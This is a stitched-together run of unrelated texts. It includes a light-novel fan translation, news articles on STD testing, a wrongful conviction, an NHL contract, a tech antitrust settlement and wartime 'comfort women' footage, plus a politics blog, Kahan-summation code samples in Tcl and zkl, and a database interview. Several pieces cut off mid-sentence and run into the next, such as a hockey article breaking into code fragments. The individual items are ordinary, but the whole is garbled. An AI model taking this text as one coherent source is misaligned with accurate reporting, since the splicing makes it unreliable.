Motoyasu is protecting Firo. Firo is approaching me with a dangerous aura. The three Filo Rials are trying to kill her.
It may be my imagination, but originally, Motoyasu was the enemy, Firo was an ally, and the Filo Rials were Motoyasu’s subordinates, and by transitive property, were enemies.
In reality, Motoyasu is now an ally(?), Firo is an Enemy, and the three are… A third power?
I’m starting to have a hard time differentiating friend and foe.
And then…
“Master… Finally the nuisance is gone…” (Firo)
With her back to Motoyasu, Firo begins walking towards me, step by step.
I’ve had a long time to think, so I have a few plans to test out.
Among them should be one that should be able to handle this situation.
Idea 1: Activate the Wrath Shield and turn everything to ash.
Con: The wrath shield hasn’t been strengthened, so the fire power may be lacking.
It will be difficult to beat Firo with it. Even including Iron Maiden and Blutopfer.
I can’t even use the latter. Even if I get the chance, the chances of it hitting Firo are low. And if it did hit, Firo would die.
Idea 2: Use idea 1 to take out Motoyasu.
Con: I don’t have enough information on the current Motoyasu to take him on with certainty.
I also don’t know the exact effects of his skills.
Idea 3: Talk to and convince Motoyasu.
Con: There’s no precedent showing he can even be reasoned with. To get him to agree, I may have to have Firo talk to him.
But with Firo like this, I can’t really do that.
Idea 4: Talk to and convince Firo.
Con: She’s not in a state where words will reach her. Convincing her seems impossible. I don’t think she’ll agree to anything I ask of her.
Idea 5: Cast support on Motoyasu’s followers and have them take care of everything.
Con: Firo will get killed. I want to avoid that.
This is no good.
Even taking an uncertain gamble is better than these options.
I wondered about the power of a Wrath Shield reinforced Shield prison and E Float Shield.
My personal defense is very high, but I wasn’t sure about external attachments.
And so I experimented with infusing these items with Magic.
But… in order to make them succeed…
“Master~…” (Firo)
I’m going to be defiled!
That is…
“A-at least in human form!” (Naofumi)
What the hell am I saying!?
But being violated by a little girl has to be better than being violated by a giant bird.
“No.” (Firo)
Ku… That’s a nostalgic line from Firo.
When we first taught her to speak, Firo repeated that word over and over.
So I’m going to be defiled by a giant bird. I would rather die.
Motoyasu may be delighted with this, but this is not my fetish!
I have to restrain Firo no matter what.
「Shield-」 (Naofumi)
I feel the flow of energy all around my body.
My desperation, my desire to succeed in this no matter what, makes my mind move faster. I begin to understand this power.
This is… Not Magic. Is it… the Chi that Atlas senses?
No, this power surfaced when I was about to activate Shield Prison.
This is probably the phenomenon known as SP.
「Pri-」 (Naofumi)
I feel the power flowing towards my designated target.
I see… Is that the point where I have to send my magic?
I get the feeling that I can do it.
But I don’t have time. Before I cast it, I cut it off.
「…」 (Naofumi)
The power flowing out returns to my body.
But there is something that surprises me even more.
When I was about to release it, Firo jumped away from the point that I targeted.
Did her instincts tell her to avoid it?
So even if I successfully infuse it with magic, Firo will avoid it.
I’m doing this without any practice. And it requires a lot of concentration to infuse the magic. And now I find that It probably won’t even hit her.
I don’t have any more options. I could try using this power to strengthen the Meteor Shield, but it’s still cooling down.
But… If I give up here, my purity…!
Perhaps I should shift my target to Motoyasu?(CNN) -- Dylan Ryan and Danny Wylde knew each other online -- she's read his blog, he's seen her tweets -- before they met in person in Los Angeles a few weeks ago. A bit awkward, they made small talk, spending an hour or so getting to know each other.
"When I'm with someone new, my primary bit of nervousness is I have no idea if they'll like me, or be attracted to me, or be interested in me," Ryan says. "It's sort of akin to a first date situation."
But this wasn't a first date -- it was strictly business. After chatting, Ryan and Wylde got to work, which in their case meant having sex. Ryan and Wylde (their stage names) are adult performers.
While hooking up with a new co-star can provoke some anxiety, there's one thing they're usually not anxious about: getting a sexually transmitted disease from their co-star, since both get tested for STDs at least once a month.
"Before you start shooting, you go online to see the other person's test results," Wylde explains. "Or sometimes on set, before you start, they show you the results on paper."
Such diligence about STDs is a good idea for anyone having sex with a new partner, even if you're not a porn star, says Dr. Craig Strafford, director of clinical research at the Holzer Clinic in Gallipolis, Ohio.
"It really shows they're thinking conscientiously," Strafford says. "I think it really works."
Talent Testing Service, which does STD screenings for adult performers, routinely tests for HIV, chlamydia, and gonorrhea, according to Sixto Pacheco, president and CEO of the service. In addition, some performers opt for an additional panel of tests for hepatitis B, hepatitis C and syphilis.
So far, Ryan and Wylde say it's worked for them. Ryan says in her eight years as an adult performer -- she has about five sexual partners a month professionally -- she hasn't contracted a single STD. She says when she has sex with men outside work she always uses a condom. Wylde says about once a year he comes down with a case of chlamydia or gonorrhea.
"I take some pills and it goes away in a week," he says, adding that outside of work he has sex only with other performers, since he's knows they're regularly tested.
While the testing isn't foolproof, it lowers the risk of getting infected. Combine that with condom use and the risk goes down even more.
HIV is a particularly tricky test, since it may provide a false negative if taken too soon after a person is exposed to HIV. This is because most people don't produce enough antibodies for the test to detect until around a month after being exposed. Some people take three months or longer to produce detectable antibodies.
"I think about this all the time," says Ryan, who's been an adult performer for eight years. "It's by far the biggest risk in the industry. I think the one thing that gives me comfort -- small comfort -- is that the people I'm working with by and large have very strong safer sex practices because of what they do for a living."
Wylde says he's not too concerned about contracting HIV since he has sex only with women, but he adds that he knows he's taking at least a small risk.
"There's risk in a lot of jobs," he says. "Professional athletes take risks."
When beginning a new relationship, many wonder what diseases they should get tested for.
"It's a very common question, for both males and females," Strafford says.
Neither the Centers for Disease Control and Prevention, nor the American Social Health Association has a list of STDs you should get tested for when you're about to have sex for the first time with someone. However, after discussion with various STD experts, here's a list of tests many doctors recommend.
They can be a starting point for a discussion with your doctor. The CDC has a list of clinics that offer testing for STDs by ZIP code.
Chlamydia
Often a simple urine test is all that is necessary; sometimes a swab must be taken from the infected area, according to ASHA.
Many people don't know they have chlamydia, the most frequently reported bacterial sexually transmitted disease in the United States. Complications among men are rare, but in women chlamydia can lead to chronic pelvic pain, infertility, and ectopic pregnancies. The disease can be easily treated and cured with antibiotics, according to the CDC.
Gonorrhea
This is also often a urine test, although sometimes a swab is taken from the infected area, ASHA says. Some men have no symptoms of gonorrhea, while others have painful urination or discharge from the penis, according to the CDC. Antibiotics can treat the disease, but if left untreated, gonorrhea can lead to infertility in men and women, and can be life-threatening if it spreads to the blood or joints.
Syphilis
A blood test is used to diagnose syphilis, a disease that's easy to treat in its early stages, but if left untreated can cause blindness or even death, according to the CDC.
Hepatitis A and B
Men who have sex with men should talk to their doctor about getting tested for Hepatitis A and B, and they should also be vaccinated against the diseases, says Dr. Hunter Handsfield, a clinical professor of medicine at the University of Washington Center for AIDS and STD.
HIV
As noted above, you can be positive for HIV for several weeks or months before it will show up on most HIV blood tests.
A note about herpes
About one out of six people ages 14 through 49 have genital herpes simplex virus type 2, according to the CDC. Testing is controversial since the results are not always accurate or helpful.
Dr. Bradley Stoner, associate professor of anthropology and medicine at Washington University in St. Louis, Missouri, and a spokesperson for ASHA, says the best strategy might be to get tested if you have recurrent lesions that could be herpes, or if you're starting a new relationship with someone who has herpes, since drugs can be given to your infected partner to decrease the chances you'll get the disease, too.
"Other than that, I probably would not screen for herpes -- the waters are just too murky," Stoner says.The object seen falling from the sky over Long Island generated 911 calls and reports of a downed plane. Greg Cergol reports. (Published Wednesday, Nov. 20, 2013)
A mysterious object fell from the sky in a busy aircraft corridor along Long Island and lit up imaginations.
The object, which left a white trail as it plummeted to the ground Monday, generated 911 calls and reports of a downed plane.
Suffolk County police looked into whether a small plane had crashed, but found nothing.
Marc Rubin is among those who witnessed the object when it fell between Patchogue and Sayville.
NASA Rocket Launch Viewed from Long Island
The rocket launched into space by NASA Tuesday a part of an Air Force test program was viewed in parts of the East Coast, including here on Long Island. Here it is as seen in Shirley Tuesday night. (Published Tuesday, Nov. 19, 2013)
"It had this little curlicue tail at the top and was coming straight down at a 90-degree angle," Rubin said Wednesday.
Police said they plan to send investigators to talk to Rubin and look at the pictures he took. But they believe the object had less mysterious origins.
Suffolk County Police Deputy Chief Kevin Fallon said, "I spoke to some helicopter pilots with our department and it's their belief that this was some type of model rocket or some type of flare."Nearly 25 years after the 1987 homicide of Peggy Hettrick, the once convicted Timothy Masters is no longer considered a suspect in the case. Masters served almost 10 years in prison for the unsolved crime and was the first Coloradan freed from prison because of DNA evidence.
“Masters cooperated fully with our investigation, including the Grand Jury proceedings. Given the nature and extent of the Grand Jury investigation, the time has come for law enforcement to officially exonerate Timothy Masters,” Colorado Attorney General John Suthers said in a statement. “The Hettrick case remains open. We have made significant progress in the investigation. Our team will continue to develop evidence and we will continue to work on this case until the murderer is brought to justice. Too many lives have been affected by the events of that day. Justice requires that we continue to diligently work on the case.”
When Peggy Hettrick's body was discovered in a Fort Collins field on February 11, 1987 police investigated Masters for the homicide, then just 15 years old, suspicious of his drawings of knives. No physical evidence was ever found tying Masters to the crime.
Masters was sentenced to life in prison in 1999, but upon reviewing the case Adams County District Attorney Don Quick said DNA evidence found on Hettrick's clothing did not match Masters and called for a retrial.
The evidence was sent to a laboratory in the Netherlands and then confirmed by the Colorado Bureau of Investigation to illustrate the DNA profile of a previously dismissed suspect.
Larimer District Attorney Larry Abrahamson apologized in a press release:
Rule 3.6 and 3.8 of The Colorado Rules of Professional Conduct precludes prosecutors from publicly commenting on the guilt or innocence of any individual who may be subject to an ongoing investigation. However, in light of the current statement, I believe it is appropriate as the current District Attorney and on behalf of the criminal justice system in Larimer County to express our apologies to Timothy Masters, his family and friends for the conviction and sentence he endured 12 years ago.
In 2010 Masters received a $10 million settlement from Fort Collins and Larimer County, claiming detectives and prosecutors targeted him and destroyed or withheld evidence that would have cleared him.
"Pursuant to the mandate from the Governor's Office, our team undertook a comprehensive review of the entire Hettrick homicide," said Suthers. "Our team conducted more than 170 interviews and conducted further DNA analysis. Throughout the past year, the Statewide Grand Jury heard evidence and testimony from numerous witnesses. Based on the testimony, the forensic analysis and the crime scene analysis, the overwhelming conclusion is that Timothy Masters was not involved in the murder of Peggy Hettrick."
Below is footage of a Fort Collins police officer trying to get a confession out of 15-year-old Masters. Let us know what you think about this case in the comments beneath.
WATCH:It must have seemed like such a good idea at the time. Stephen Colbert is in Philadelphia, his show is being taped there for the debates - why not do one of those funny walk ons that politicians love to do.
And so - at first- it was brilliant. Hillary opened the show with a bit of business, she got a warm laugh - and she was off. She'd fixed a tech problem with the set, got to make a joke about being on call - "even at 3am" and strode off the stage looking confident and Presidential.
But hmm... one wondered.. would the sharp tongued Colbert really let her get in and out without a sit down interview? Clearly Clinton's handlers weren't going to expose her to his wry and often deadly whit. No way. She was in and out - with a scripted bit and back in the limo.
But, no so fast.
Next up - Philadelphia congressman Patrick Murphy.
Back from Iraq - and looking, as Colbert put it, like the kind of guy that would vote for Hillary. Nope. Murphy proclaimed Barack Obama one of the most exciting politicians of generation and proclaimed his support for Obama. Ouch, that must have made for some uncomfortable green room banter backstage.
So - had Hilary given Colbert his I'm sure much requested interview, this screen time would have been hers. Comic payback is a bitch.
But, it gets better - just wait.
As Colbert dug in to the election - he played a medley of news clips about the election turning on the White Male Vote. And then, proclaimed it would be "one White Male." Out strode a shocking upbeat John Edwards. Wow - where's he been? And WHAT is HE doing in Philadelphia not endorsing anyone?
Boy - now i REALLY want those Green Room snapshots.
Not only did Edwards look great- but his 3 min long "Ed" Words segment was maybe one of the most brilliant bits of writing I've heard in a long time. Funny, self-deprecating, and strongly political all at the same time. This is no easy act to pull of, and he was masterful. All of a sudden, Hillary's bit about the broken video screen seemed like both lame politics and lame comedy. Edwards was on fire!
And just Who will be the Vice President - we are wondering. Hmm... Didn't Edwards take a swing at that spot once before. Seems like he may have some posters lying around.
So, for those of you keeping score at home.
Hilary opens with a laugh.
Patrick Murphy looks heroic, boyish, charming, and endorses Obama.
Edwards makes a political speech about two Americas while hitting all his laugh lines and begging for a Jet Ski from either Hilary or Obama.
So, the bookers at The Colbert Report must be feeling pretty good right about now.
Colbert is signing off - and then - behind him - looming VERY large. Its Barack Obama.
Grinning. Last Laugh. Colbert says "Hilary must be wishing she didn't fix the screen right about now." Indeed.
And then, Obama delivers the line of the night - playing off a long running Colbert joke where he puts "On Notice" things that are no longer culturally acceptably. Said Obama: "Manufactured political distractions, you are officially on notice!"
Wow. Somebody buy the Colbert writing staff a drink. Someone deserves a bow. Clinton handlers - probably not trying to out smart (or out funny) the political satirist might be a better plan next time.
Ps: If Edwards doesn't have at least 4 jet ski's on his lawn by mid-day, i'd be stunned. Big red bow, Jet Ski, the Edwards house - stat. (the closest dealership is: http://performanceeastinc.com/ - quick they may sellout.)The NHL’s summer vacation was interrupted over the weekend with a pair of bombshells from the ongoing P.K. Subban contract watch. First, Subban and the Canadiens actually went through a rare salary arbitration hearing Friday. Then, just hours before that decision was scheduled to be announced, they agreed to a long-term deal that makes Subban the league’s highest-paid defenseman in terms of cap hit.
The news was stunning, and not just because it represented honest-to-god NHL news in August. The contract caps off an almost two-year dance between Subban and the Habs’ front office, one that at times seemed inevitably headed toward disaster.
The announcement was a dramatic finale to a long process. But while the deal provides a definitive answer as to Subban’s immediate future, it still leaves us with more than a few lingering questions. Let’s try to sort this all out.
What just happened?
The basic summary: Until Saturday, the Montreal Canadiens had failed to come to terms with Subban, their 25-year-old Norris-winning defenseman and a restricted free agent. He filed for arbitration, and the hearing took place Friday morning. The arbitrator’s ruling, which would have been for a one-year deal, had been scheduled to come down Sunday. Instead, the two sides announced Saturday that they’d agreed to an eight-year, $72 million deal that will carry an average annual value of $9 million, more than any other blueliner makes.
Is Subban actually worth that much?
That’s the $72 million question, and the answer depends on where you’d rank him among the NHL’s top defensemen. Subban is what we’d politely call a “divisive” player, which is to say he generates an unusually wide range of opinions around the hockey world.
On the one hand, he already owns one Norris Trophy and probably hasn’t even reached his peak yet, which should put him in the discussion for best defenseman in the league. On the other hand, he was used only as a seventh defenseman on Team Canada’s Olympic squad this year, which implies that his all-around game just isn’t at an elite level yet. Beyond his skill set, he’s quite possibly the most charismatic player in the entire league, and lots of fans love him for his enthusiasm. Others have criticized his antics, piling on as soon as there’s the slightest hint of controversy.
A few sites took a shot at the “what is Subban worth?” question in recent weeks, with the answers ranging from roughly $60 million to $75 million on an eight-year contract; the real deal came in at the high end of that range. The average cap hit is also significantly more than comparable players like Erik Karlsson, Alex Pietrangelo, or even Drew Doughty make. In fact, it will be the third-highest cap hit in the league next season, coming in behind only Alexander Ovechkin and Evgeni Malkin.
All of that points to this being an overpay, and maybe even a big one. But here’s the thing: Occasional lockout corrections aside, the NHL’s salary cap keeps going up, and it almost certainly will continue to do so for a long time to come. Comparisons to deals signed as far back as 2011 (in Doughty’s case) don’t really hold up. And with the CBA outlawing the sort of ultra-long back-diving deals that other comparables had received, Subban’s total doesn’t seem all that unreasonable. It’s the same logic that led to Jonathan Toews’s and Patrick Kane’s recent extensions that kick in for 2015-16 and carry $10.5 million cap hits. Subban may not be on the Toews tier in terms of overall value, but you could argue he’s at least in the same ballpark as Kane.
And so we’re left with a number that feels like it’s too high, and probably is — right up until the next Subban-type player signs his deal. By the time we’re a few years into this one, it probably starts to seem like a bargain … as long as Subban keeps playing at a Norris contender’s level.
So this is all good news for Montreal, then?
For the most part, sure. All’s well that ends well, and all of that. Even if you think $9 million a year is too much, you’re always better off overpaying your best players than your middle-of-the-lineup guys.
But while the deal itself is good news, the path to get there was an odd one, with the Habs seeming oddly intent on playing hardball throughout the process. For example, their arbitration offer was just $5.25 million on a one-year deal, which came across like a risky lowball. Even stranger, they let this thing get all the way to an arbitration hearing instead of finding a way to settle before then.
Wait, an actual arbitration hearing? They still hold those?
Apparently! You could be forgiven for not knowing that, given that Subban was the only NHL player to actually make it to a hearing this summer. Eighteen other cases were scheduled, but in each case a deal was reached before the hearing took place. (The Blues and Vladimir Sobotka also had a hearing, but that was largely a formality as he’s already signed with a KHL team for next year.)
That followed last year’s clean sweep, in which all 21 arbitration-eligible players settled before their hearing. Subban was the first star player to actually make it to arbitration since Shea Weber in 2011. It sure sounds like something went off the rails here.
Back up for a second … how did we get here?
The path to this point actually starts during the 2012 offseason (which stretched into 2013, thanks to the lockout). Subban was coming off his entry-level deal and was a restricted free agent for the first time. He was a well-regarded young player, but not quite a star, and he only had two full NHL seasons under his belt. He was looking for a long-term contract, while the Canadiens preferred a shorter “bridge” deal.
The two sides failed to reach an agreement before the season opener, and Subban ended up missing the team’s first four games before finally backing down and accepting the team’s terms, signing a two-year deal that paid him a total of $5.75 million. The contract was widely seen as a victory for GM Marc Bergevin and the Habs, but it came with a risk: If Subban made the leap to superstar status over those two years, the Canadiens would end up on the hook for a much bigger long-term deal in 2014 than they could have had in 2012.
That’s exactly what happened. Subban had a breakout season in 2013, winning the Norris Trophy as the league’s best defenseman. He was very good again last season, and is now widely (although not unanimously) viewed as one of the best blueliners in the league. He went into this year’s negotiations expecting to be paid like it, but as a restricted free agent, his leverage went only so far. The two sides negotiated through the summer but couldn’t reach a deal before the dreaded arbitration hearing arrived.
Do we know what exactly got said at the hearing?
We don’t. Arbitration hearings are private, and when Subban’s ended, nobody was willing to go into specifics about what had gone on. Players who have gone to hearings over the years have told horror stories about the experience — nobody likes to sit there while their boss runs down a detailed list of all their perceived flaws — and the process has been known to permanently damage relationships.
That said, it’s up to the team to decide just how vicious it wants to be. When the Predators went to arbitration with Weber in 2011, there was speculation they’d taken a kid-gloves approach to make sure they didn’t offend him. It’s possible Montreal took the same approach.
Speaking of Weber …
Why didn’t some other team just sign Subban to an offer sheet when it had the chance?
As a restricted free agent, Subban theoretically could have signed an offer sheet with any team. That would have given Montreal a week to either match the offer or let him go for draft-pick compensation. That’s what happened to Weber in 2012, the year after he went to arbitration with the Predators. He negotiated with several teams before signing a massive 14-year, $110 million offer sheet with the Flyers that Nashville eventually matched. In terms of total salary, it remains the second-biggest deal in NHL history.
But the Weber situation was a rarity. It’s unusual to see an offer sheet in the NHL, at least partly because they’re viewed as a waste of time since they’re almost always matched. That’s what happened with Weber’s deal, and any team trying to poach Subban would have been in an even weaker position than the Flyers were. For one, the CBA |
}
puts "Native floating point:"
puts " \t Epsilon is: [set e [epsilon]]"
puts " \t Associative sum: [expr {1.0 + $e - $e}]"
puts " \t Kahan sum: [kahansum 1.0 $e -$e]"
Epsilon is: 1.1102230246251565e-16 Associative sum: 0.9999999999999999 Kahan sum: 1.0
Tcl: Decimals [ edit ]
For the decimal part of the exercise we can use a the Tcllib library math::decimal. Note how similar the implementation of Kahan sum is: the only changes are fromstr and tostr.
The last stanza exercises the decimal package's different rounding modes, to see what happens there:
package require math:: decimal
namespace path :: math :: decimal
proc kahansum { args } {
set sum [ fromstr 0.0 ]
set c [ fromstr 0.0 ]
foreach i $args {
set i [ fromstr $i ]
set y [ - $i $c ]
set t [ + $sum $y ]
set c [ - [ - $t $sum ] $y ]
set sum $t
}
return [ tostr $sum ]
}
proc asum { args } {
set sum [ fromstr 0.0 ]
foreach a $args {
set sum [ + $sum [ fromstr $a ] ]
}
return [ tostr $sum ]
}
setVariable precision 6
set a 10000.0
set b 3.14159
set c 2.71828
foreach rounding { half_even half_up half_down down up floor ceiling } {
setVariable rounding $rounding
puts "Rounding mode: $rounding"
puts " \t Associative sum $a + $b + $c: [asum $a $b $c]"
puts " \t Kahan sum $a + $b + $c: [kahansum $a $b $c]"
}
The results are a little surprising:
Output:
Rounding mode: half_even Associative sum 10000.0 + 3.14159 + 2.71828: 10005.8 Kahan sum 10000.0 + 3.14159 + 2.71828: 10005.9 Rounding mode: half_up Associative sum 10000.0 + 3.14159 + 2.71828: 10005.8 Kahan sum 10000.0 + 3.14159 + 2.71828: 10005.9 Rounding mode: half_down Associative sum 10000.0 + 3.14159 + 2.71828: 10005.8 Kahan sum 10000.0 + 3.14159 + 2.71828: 10005.9 Rounding mode: down Associative sum 10000.0 + 3.14159 + 2.71828: 10005.8 Kahan sum 10000.0 + 3.14159 + 2.71828: 10005.8 Rounding mode: up Associative sum 10000.0 + 3.14159 + 2.71828: 10006.0 Kahan sum 10000.0 + 3.14159 + 2.71828: 10005.9 Rounding mode: floor Associative sum 10000.0 + 3.14159 + 2.71828: 10005.8 Kahan sum 10000.0 + 3.14159 + 2.71828: 10005.8 Rounding mode: ceiling Associative sum 10000.0 + 3.14159 + 2.71828: 10006.0 Kahan sum 10000.0 + 3.14159 + 2.71828: 10005.9
In no rounding mode are both answers correct. With "down" and "floor" rounding, the Kahan sum is too low (10005.8), but any other rounding makes it correct (10005.9). The Associative largest-to-smallest sum is never correct: "up" and "ceiling" rounding make it too high, while the rest make it low.
zkl floats are C doubles.
Translation of: go
fcn kahanSum(numbers){
sum:=c:=0.0;
foreach x in (vm.arglist){
y,t:=x - c, sum + y;
c=(t - sum) - y;
sum=t;
}
sum
}
fcn epsilon{
e:=1.0;
while(1.0 + e!=1.0){ e/=2 }
e
}
a,b,c,sum:=1.0,epsilon(),-b,a + b + c;
sum :"%.20f".fmt(_).println("\tLeft associative. Delta from 1: ",1.0 - sum);
kahanSum(a,b,c) :"%.20f".fmt(_).println("\tKahan summation");
b.println("\t\tEpsilon");
Output:
0.99999999999999988898 Left associative. Delta from 1: 1.11022e-16 1.00000000000000000000 Kahan summation 1.11022e-16 EpsilonSAN FRANCISCO (Reuters) - Four major tech companies including Apple and Google have agreed to pay a total of $324 million to settle a lawsuit accusing them of conspiring to hold down salaries in Silicon Valley, sources familiar with the deal said, just weeks before a high profile trial had been scheduled to begin.
A Google logo is seen at the garage where the company was founded on Google's 15th anniversary in Menlo Park, California September 26, 2013. REUTERS/Stephen Lam
Tech workers filed a class action lawsuit against Apple Inc, Google Inc, Intel Inc and Adobe Systems Inc in 2011, alleging they conspired to refrain from soliciting one another’s employees in order to avert a salary war. They planned to ask for $3 billion in damages at trial, according to court filings. That could have tripled to $9 billion under antitrust law.
The case has been closely watched due to the potentially high damages award and the opportunity to peek into the world of Silicon Valley’s elite. The case was based largely on emails in which Apple’s late co-founder Steve Jobs, former Google CEO Eric Schmidt and some of their Silicon Valley rivals hatched plans to avoid poaching each other’s prized engineers.
In one email exchange after a Google recruiter solicited an Apple employee, Schmidt told Jobs that the recruiter would be fired, court documents show. Jobs then forwarded Schmidt’s note to a top Apple human resources executive with a smiley face.
Another exchange shows Google’s human resources director asking Schmidt about sharing its no-cold call agreements with competitors. Schmidt, now the company’s executive chairman, advised discretion.
“Schmidt responded that he preferred it be shared ‘verbally, since I don’t want to create a paper trail over which we can be sued later?’” he said, according to a court filing. The HR director agreed.
The companies had acknowledged entering into some no-hire agreements but disputed the allegation that they had conspired to drive down wages. Moreover, they argued that the employees should not be allowed to sue as a group.
Rich Gray, a Silicon Valley antitrust expert in private practice, said the companies had an incentive to avoid trial because their executives’ emails would make them look extremely unsympathetic to a jury. However, the plaintiff attorneys risked an appeals court saying the engineers could not sue as a group at all.
“An appellate court could say, ‘Hey we just don’t buy that,’” Gray said.
Trial had been scheduled to begin at the end of May on behalf of roughly 64,000 workers.
Spokespeople for Apple, Google and Intel declined to comment. An Adobe representative said that the company denies it engaged in any wrongdoing, but settled “in order to avoid the uncertainties, cost and distraction of litigation.” An attorney for the plaintiffs, Kelly Dermody of Lieff Cabraser Heimann & Bernstein, in a statement called the deal “an excellent resolution.”
Corporate defendants in antitrust cases often agree among themselves what portion each will contribute towards a settlement, said Daniel Crane, a professor at the University of Michigan Law School. One likely formula would be to divide the damages based on how many employees each company has in the class, he said.
Apple, Google, Adobe and Intel in 2010 settled a U.S. Department of Justice probe by agreeing not to enter into such no-hire deals in the future. The four companies had since been fighting the civil antitrust class action.
Walt Disney Co’s Pixar and Lucasfilm units and Intuit Inc had already agreed to a settlement, with Disney paying about $9 million and Intuit paying $11 million.
Any settlement must be approved by U.S. District Judge Lucy Koh in San Jose, California. A hearing on final approval of the Intuit and Disney deals is scheduled for next week.
The plaintiffs and the companies will disclose principal terms of the settlement by May 27, according to the court filing on Thursday, though it is unclear whether that will spell out what each company will pay.
The Apple logo is pictured on the front of the company's flagship retail store near signs for the central subway project in San Francisco, California January 23, 2013. REUTERS/Robert Galbraith
Some Silicon Valley companies refused to enter into no-hire agreements. Facebook Chief Operating Officer Sheryl Sandberg, for instance, rebuffed an entreaty from Google in 2008 that they refrain from poaching each other’s employees.
Additionally, Apple’s Jobs threatened Palm with a patent lawsuit if Palm didn’t agree to stop soliciting Apple employees. However, then Palm Chief Executive Edward Colligan told Jobs that the plan was “likely illegal,” and that Palm was not “intimidated” by the threat.
The case in U.S. District Court, Northern District of California is In Re: High-Tech Employee Antitrust Litigation, 11-cv-2509.Media playback is unsupported on your device Media caption First known footage of 'comfort women'
South Korea has released what it says is the first known footage of "comfort women" forced to work as sex slaves for Japanese soldiers during World War Two.
Filmed by US troops in China, the clip was found by government-funded researchers at Seoul National University in US archives.
The 18-second clip shows several women lined up talking to a Chinese soldier.
South Korean activists estimate 200,000 women were forced into brothels for Japan's military.
They are believed to have been mainly from Korea, but also from China, Indonesia, the Philippines, and Taiwan.
Some of the women were willing, others were lured with the offer of paid work as cooks or cleaners and many were forced, a UN report said.
Until now, the only records of women forced into sexual slavery by the Japanese military during World War Two had been photographs and survivor testimonials.
Image copyright US National Archives Image caption The issue has long been a strain on ties between South Korea and Japan
The research team says the footage was filmed by joint US-Chinese troops in China's Yunnan province which was previously occupied by Japan.
The seven Korean women were freed in 1944 and the officer speaking with them has been identified as a Chinese captain of the China-US Combined Force, the team said.
The issue has long strained the relationship between South Korea and Japan over a perceived lack of adequate apology and compensation from Japan.
In 2015, the two countries reached a settlement whereby Tokyo formally apologised and agreed to pay 1bn yen ($8.3m, £5.6m) to fund victims.
Many Koreans though viewed the apology as insufficient and the issue continues to plague ties.
In January, Japan temporarily withdrew its ambassador to South Korea over a "comfort women" statue placed outside the Japanese consulate in Busan.
A similar statue has also been placed outside Japan's consulate in Seoul, and Tokyo wants both these statues to be removed.
Correction 31 July 2017: This article has been amended to make it clear that not all the "comfort women" were coerced.Lucas Martins defeated Robert Whiteford in his most recent appearance inside the Octagon, but that wasn’t enough for the UFC to offer him a new contract.
Martins, who signed a new three-fight deal with the promotion after scoring three straight finishes in his first four UFC fights, entered UFC Fight Night 86, on April 10, coming off losses to Darren Elkins and Mirsad Bektic. "Mineiro" defeated Whiteford in the final fight of his contract, and the UFC said he’s cleared to negotiate with other promotions. Combate first reported the news.
"My manager (Diego) Lima was talking to the UFC, and said that the division is full," Martins told MMA Fighting. "Even though I was coming off a win, my contract is over and they told me to get a couple more wins outside the UFC, two nice knockouts, and they would definitely sign me again. I wasn’t expecting that because I was coming off a win, but it’s fine."
Martins (16-3) signed with the UFC to face Edson Barboza on short notice in 2013, losing via first-round stoppage. The Chute Boxe talent went on to defeat Jeremy Larson at lightweight, Ramiro Hernandez at bantamweight and Alex White at featherweight before signing his new three-fight deal.
"I’ve done a lot of things in there," he said. "There are athletes in the UFC that haven’t done half of what I did, and this is happening to me. I’ll keep my head up and continue doing my job. I’m looking at other fights now and go back to the UFC because they pay us better. I don’t fight for status, I fight for money to help my family."
Martins, who will stick at 145 pounds for his next fights, told MMA Fighting that he has already received an offer from Bellator, and it was a good one.
"We got an offer from Bellator and it’s great financially," said "Mineiro", who scored finishes in 14 of his 16 professional victories. "I would be able to have my sponsors in the cage as well since there’s no Reebok there, but I’m going to think about it."Big Data may be the poster child for NoSQL databases and date warehouses, but one industry veteran isn’t giving up on SQL databases for Big Data just yet.
As most IT watchers know, Big Data is perceived as so large that it’s difficult to process using relational databases and software techniques. Of course, the relational model and SQL dominate today’s database landscape. But on the other side there are databases built without relations, made for higher scalability. We asked the expert in the database area, Monty Widenius, about the current and future state of SQL, NoSQL and Big Data. As the author of the original version of the open-source MySQL database, and one of the founders of the community-developed branch of the MySQL database, MariaDB, his take on Big Data bucks the conventional wisdom that large-scale data must abandon SQL databases.
Monty Widenius
Would you please tell us a little about the history of NoSQL and Big Data? What are the main reasons that this has become such a topic of interest?
The whole thing with the “new NoSQL movement” started with a blog post from a Twitter employee that said MySQL was not good enough and they needed “something better,” like Cassandra.
The main reason Twitter had problems with MySQL back then, was that they were using it incorrectly. The strange thing was that the solution they suggested for solving their problems could be done just as easily in MySQL as in Cassandra.
I can’t find the original article, but I did find a follow up a bit later where it was said MySQL would be dropped for Cassandra.
The current state is that now, three years later, Twitter is still using MySQL as their main storage for tweets. Cassandra was, in the end, not able to replace MySQL.
The main reason NoSQL became popular is that, in contrast to SQL, you can start using it without having to design anything. This makes it easier to start with NoSQL, but you pay for this later when you find that you don’t have control of your data (if you are not very careful).
So, the main benefits (at least before MariaDB) of most NoSQL solutions are:
Fast access to data (as long as you can keep everything in memory)
Fast replication/data spread over many nodes.
Flexible schema (you can add new columns instantly).
What problems can be solved (or do people think they can solve) with the help of Big Data?
More performance and more flexible schemas are the two biggest drivers of NoSQL.
What do you personally think about the future of Big Data? Your predictions?
I think that most of the people who are looking for NoSQL are doing it mostly because it’s still ‘hype’. Most companies don’t have massive amounts of data, like Facebook and Google, and they will not be able to afford to have experts to tune and constantly develop the database.
SQL is not going away. NoSQL can’t replace it. Almost everyone will need relations (i.e., joins) to utilize their data.
Still, there are places where NoSQL makes sense. I think, in the future, you will see more combined SQL and NoSQL usage.
This is why we are extending MariaDB to be able to access NoSQL databases like Cassandra and LevelDB.
Why do people still use NoSQL? What are the main reasons?
Because it’s easier to get started with a NoSQL database. You don’t have to learn SQL and define your database schema before you start using it. A few are using it because they believe it can scale better than SQL.
Can SQL outperform NoSQL? What are some unique advantages that make SQL better than NoSQL?
As soon as data can’t fit into memory, SQL generally outperforms NoSQL.
The same goes for things that NoSQL can’t do. Most NoSQL solutions are optimized for single key access. For anything else, you have to write a program and it’s very hard to beat a SQL optimizer for complex things, especially things that are automatically generated based on user requests (required for most web sites).
SQL can also beat NoSQL on most single machines. In a cluster, where everything is in memory, NoSQL usually outperforms SQL for key lookups.
What do you think about this Cloudera announcement?
The problem with Hadoop is that there is no known business model around it that ensures that the investors will get back 10X money that they expect. Because of that, I have a hard time understanding how Cloudera can survive in the long run.
It’s not enough to have a good product. You also have to be able to make money with it.
Who are the primary proponents of Big Data and NoSQL?
All the NoSQL vendors of course. 😉
If this is all just hype, why are they talking about it?
